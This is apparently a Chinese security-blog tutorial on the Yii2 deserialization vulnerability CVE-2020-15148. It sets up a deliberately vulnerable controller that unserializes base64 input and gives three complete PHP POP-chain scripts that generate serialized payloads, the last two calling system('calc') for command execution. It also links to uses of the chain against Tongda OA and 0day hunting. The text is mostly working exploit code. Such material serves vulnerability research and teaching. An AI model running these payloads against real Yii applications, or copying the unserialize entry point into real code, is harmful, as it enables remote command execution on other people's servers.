PHP框架开发篇&Yii反序列化&POP利用链&某达OA&某商城&CVE分析

Ethan医生1周前代码审计20


参考资料:CVE-2020-15148漏洞分析

https://www.extrader.top/posts/c79847ee

https://www.anquanke.com/post/id/254429

https://blog.csdn.net/unexpectedthing/article/details/123829375

 

1、环境部署:

phpstudy php7.4.3 Apache Yii-2.0.37

 

2、添加入口:

controllers/TestController.php

<?php

namespace app\controllers;

 

use yii\web\Controller;

 

class TestController extends Controller{

public function actionTest($data){

return unserialize(base64_decode($data));

}

}

 

3、反序列化链分析:

#POP链1:

yii\db\BatchQueryResult::__destruct()->reset()->close()

->$_dataReader

GuzzleHttp\Psr7::close()->call_user_func

->$_fn_close

 

<?php

//GuzzleHttp\Psr7::close()->call_user_func

//->$_fn_close

namespace GuzzleHttp\Psr7{

class FnStream{

var $_fn_close = "phpinfo";

}

}

 

//yii\db\BatchQueryResult::__destruct()->reset()->close()

//->$_dataReader

namespace yii\db{

use GuzzleHttp\Psr7\FnStream;

class BatchQueryResult{

private $_dataReader;

public function __construct()

{

$this->_dataReader=new FnStream();

}

}

}

 

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));

}

 

 

#POP链2:

yii\db\BatchQueryResult::__destruct()->reset()->close()

->$_dataReader

Faker\Generator::__call()->format()->call_user_func_array()

->$formatters['close']

\yii\rest\IndexAction::run->call_user_func()

->$checkAccess $id

 

<?php

//\yii\rest\IndexAction::run->call_user_func()

//->$checkAccess $id

namespace yii\rest{

class IndexAction

{

public $checkAccess;

public $id;

 

public function __construct()

{

$this->checkAccess = 'system';

$this->id = 'calc';

}

}

}

//Faker\Generator::__call()->format()->call_user_func_array()

//->$formatters['close']

namespace Faker{

use \yii\rest\IndexAction;

class Generator{

protected $formatters = array();

 

 

public function __construct()

{

$this->formatters['close'] = [new IndexAction(), 'run'];

}

}

}

//yii\db\BatchQueryResult::__destruct()->reset()->close()

//->$_dataReader

namespace yii\db{

use Faker\Generator;

class BatchQueryResult{

private $_dataReader;

public function __construct()

{

$this->_dataReader=new Generator();

}

}

 

}

 

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));

}

 

 

#POP链3:

yii\db\BatchQueryResult::__destruct()->reset()->close()

->$_dataReader

Faker\Generator::__call()->format()->call_user_func_array()

->$formatters['close']

\yii\rest\CreateAction::run->call_user_func()

->$checkAccess $id

 

<?php

//\yii\rest\CreateAction::run->call_user_func()

//->$checkAccess $id

namespace yii\rest{

class CreateAction{

public $checkAccess;

public $id;

public function __construct(){

$this->checkAccess = 'system';

$this->id = 'calc'; //命令执行

}

}

}

 

//Faker\Generator::__call()->format()->call_user_func_array()

//->$formatters['close']

namespace Faker {

use yii\rest\CreateAction;

class Generator

{

protected $formatters;

public function __construct()

{

$this->formatters['close'] = [new CreateAction(), 'run'];

}

}

}

 

//yii\db\BatchQueryResult::__destruct()->reset()->close()

//->$_dataReader

namespace yii\db{

use Faker\Generator;

class BatchQueryResult{

private $_dataReader;

public function __construct()

{

$this->_dataReader=new Generator();

}

}

}

 

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));

}

 

#实际结合:

1、通达OA-Yii反序列化结合

https://xz.aliyun.com/t/12855

https://forum.butian.net/index.php/share/2415

2、攻防演练审计和0day漏洞挖掘

https://mp.weixin.qq.com/s/L5uklnBuolfqEg-bR4V0rQ


标签: PHPYii

相关文章

PHP模型开发篇&动态调试&反序列化&变量覆盖&TP框架&原生POP链

#PHP常见漏洞关键字:SQL注入:select insert update mysql_query mysqli等文件上传:$_FILES,type="file",上传,move...

PHP原生开发篇&文件安全&上传监控&功能定位&关键搜索&1day挖掘

PHP原生开发篇&文件安全&上传监控&功能定位&关键搜索&1day挖掘

快速分析脆弱:1、看文件路径2、看代码里面的变量(可控)3、看变量前后的过滤 文件安全挖掘点:1、脚本文件名2、应用功能点3、操作关键字文件上传,文件下载(读取),文件包含,文件删除等&nb...

PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

PHP框架开发篇&实战ThinkPHP项目&打击微交易&源码获取&扩大战果

背景交代:旨在提高打击违法犯罪能力,请勿用于黑X用途,否则后果自负!模拟实战中如何打击某微盘系统,源码获取再到代审及后续实战检测。 搭建复现:1、目录指向绑定域名2、修改配置导入SQL文件3...

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

PHP反序列化&原生内置&Exception类&SoapClient类&SimpleXMLElement

#原生自带类参考https://xz.aliyun.com/news/8792https://www.anquanke.com/post/id/264823https://blog.csdn.net/...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。